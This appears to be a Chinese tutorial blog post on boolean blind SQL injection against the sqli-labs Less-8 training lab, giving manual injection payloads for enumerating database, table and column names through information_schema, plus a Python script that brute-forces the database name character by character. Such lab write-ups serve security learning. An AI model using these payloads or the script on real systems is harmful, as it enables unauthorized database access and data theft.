SQL 注入实战:布尔盲注完整流程与 Python 脚本详解

前言

上一篇文章介绍了布尔盲注的原理与二分查找优化方案。本篇聚焦于完整的手工注入流程线性枚举脚本的实现逻辑,帮助你从"知道原理"到"能够走通完整攻击链路"。

靶场环境使用 sqli-labs,推荐在本地搭建练习:


靶场题目:Less-8

Less-8 是 sqli-labs 中经典的布尔盲注题目。页面特征如下:

  • 查询成功时显示固定字符串(如"You are in...")
  • 查询失败或条件不成立时页面为空
  • 没有任何报错信息,没有数据回显

正是这种"只告诉你对不对、不告诉你答案是什么"的特性,构成了布尔盲注的标准场景。


手工注入:完整流程走一遍

第一步:确认注入点类型

通过尝试不同的闭合符号来判断 SQL 语句的结构:

复制代码
?id=1'         → 页面异常(单引号破坏了 SQL 语句)
?id=1' --+     → 页面恢复正常(注释掉了后半段)
?id=1' and 1--+  → 正常
?id=1' and 0--+  → 异常

and 1 正常、and 0 异常,说明我们的条件语句可以影响查询结果,注入点确认。

第二步:测量数据库名长度

在开始逐字符爆破之前,先确认目标字符串的长度,可以减少无效请求:

sql 复制代码
?id=1' and (select length(database())) = 8 --+

页面正常,说明当前数据库名长度恰好为 8。通过逐个尝试 1、2、3...可以精确定位长度。

第三步:逐字符爆破数据库名

核心思路是用 ascii() 将字符转为数字,再通过等号或大小于号进行比较:

sql 复制代码
-- 判断第1个字符的 ASCII 码是否等于 115(即字母 's')
?id=1' and (select ascii(substr(database(),1,1))) = 115 --+

-- 也可以先用不等式缩小范围
?id=1' and (select ascii(substr(database(),1,1))) < 100 --+

在 MySQL 中,ascii('s') = 115ascii('e') = 101,依此类推,逐位确认后拼出完整库名 security

第四步:爆破表名

库名已知,下一步是枚举库中的表名。需要引入 information_schema 这张 MySQL 的"数据字典":

sql 复制代码
-- 取 security 库中第一张表,检查表名第一个字符
?id=1' and (select ascii(substr(
    (select table_name from information_schema.tables 
     where table_schema='security' limit 0,1)
, 1, 1))) < 115 --+

limit 0,1 表示取第一条结果,改为 limit 1,1 则取第二张表,以此类推枚举所有表。

第五步:爆破字段名与数据

思路完全一致,只是查询目标换成 information_schema.columns,最后再直接查目标表的数据。完整攻击链路可以归纳为:

复制代码
库名 → 表名 → 字段名 → 字段数据

每一步都是对上一步结果的细化,结构清晰、方法统一。


Python 脚本:bool.py 线性枚举版

脚本思路

与上篇的二分查找不同,bool.py 采用线性枚举策略:对每个字符位置,从 ASCII 32 到 126 逐个试探,直到找到匹配的字符。虽然每个字符最多需要发送 95 次请求,但逻辑最直观,便于初学者理解和调试。

脚本核心逻辑如下:

python 复制代码
for i in range(1, 9):          # 遍历字符串的第 1~8 位
    for j in range(32, 127):   # 遍历所有可打印 ASCII 字符
        payload = "?id=1' and ascii(substr(database(),%d,1))=%d --+" % (i, j)
        res = requests.get(url + payload)
        if "You are in..........." in res.text:
            db_name += chr(j)  # 命中,追加字符
            break              # 当前位已找到,跳出内层循环

每轮内层循环一旦命中目标字符,即可 break 跳出,继续下一位的枚举。

两种策略的对比

策略 每字符请求次数(最坏情况) 适用场景
线性枚举(bool.py 最多 95 次 学习调试、字符串较短
二分查找(bool1.py 最多 7 次 生产级利用、长字符串

对于一个 8 位库名,线性版最多发送 760 次请求,二分版只需约 56 次。字段数据往往更长,此时二分查找的优势会更加显著。


关键知识点小结

为什么用 ASCII 码而不直接比较字符?

SQL 中直接比较字符串(如 substr(...)='s')存在大小写不敏感等问题,而 ascii() 返回的是整数,比较结果唯一确定,更加可靠。

information_schema 是什么?

这是 MySQL 内置的元数据库,存储了所有数据库、表、字段的结构信息。只要有查询权限,就可以通过它枚举整个数据库的"目录",这也是 SQL 注入能够获取任意数据的关键所在。

substrsubstring 的区别?

两者完全等价,substr(str, pos, len) 从第 pos 位(从 1 开始)截取 len 个字符。在构造 payload 时可以互换使用。


完整代码与后续

bool.pybool1.py(二分查找版)脚本均已上传至 GitHub,可配合本地搭建的 sqli-labs 靶场直接运行练习。

脚本源码: https://github.com/aqirompt/sqli-labs-bool
脚本源码

下一篇将继续介绍 sqli-labs 中bool-time盲注题目的实战解析和Python脚本。

免责声明:本文内容仅供授权环境下的安全学习与研究,请勿将相关技术用于任何未经授权的系统。

相关推荐
qq_260241238 小时前
将盾CDN:网络安全人才培养的困境与破局之道
安全·web安全
Bruce_Liuxiaowei11 小时前
2026年4月第2周网络安全形势周报(3)
网络·安全·web安全
瘾大侠11 小时前
HTB - Silentium
安全·web安全·网络安全
Andya_net12 小时前
网络安全 | tcpdump使用详解
安全·web安全·tcpdump
网络安全许木13 小时前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
瘾大侠16 小时前
OSCP+ 100分 7小时考试心得分享
安全·web安全·网络安全
lingggggaaaa16 小时前
PHP模型开发篇&MVC层&动态调试未授权&脆弱鉴权&未引用&错误逻辑
开发语言·安全·web安全·网络安全·php·mvc·代码审计
网络安全许木17 小时前
自学渗透测试第15天(基础复习与漏洞原理入门)
linux·网络安全·渗透测试·kali linux
@insist12318 小时前
网络工程师-网络安全核心加密技术体系:对称 / 非对称加密、数字签名与证书全解析
网络·安全·web安全·网络工程师·软考·软件水平考试
Andya_net18 小时前
网络安全 | 如何通过CDN和WAF联动实现加速和安全双协同的网站防护体系
安全·web安全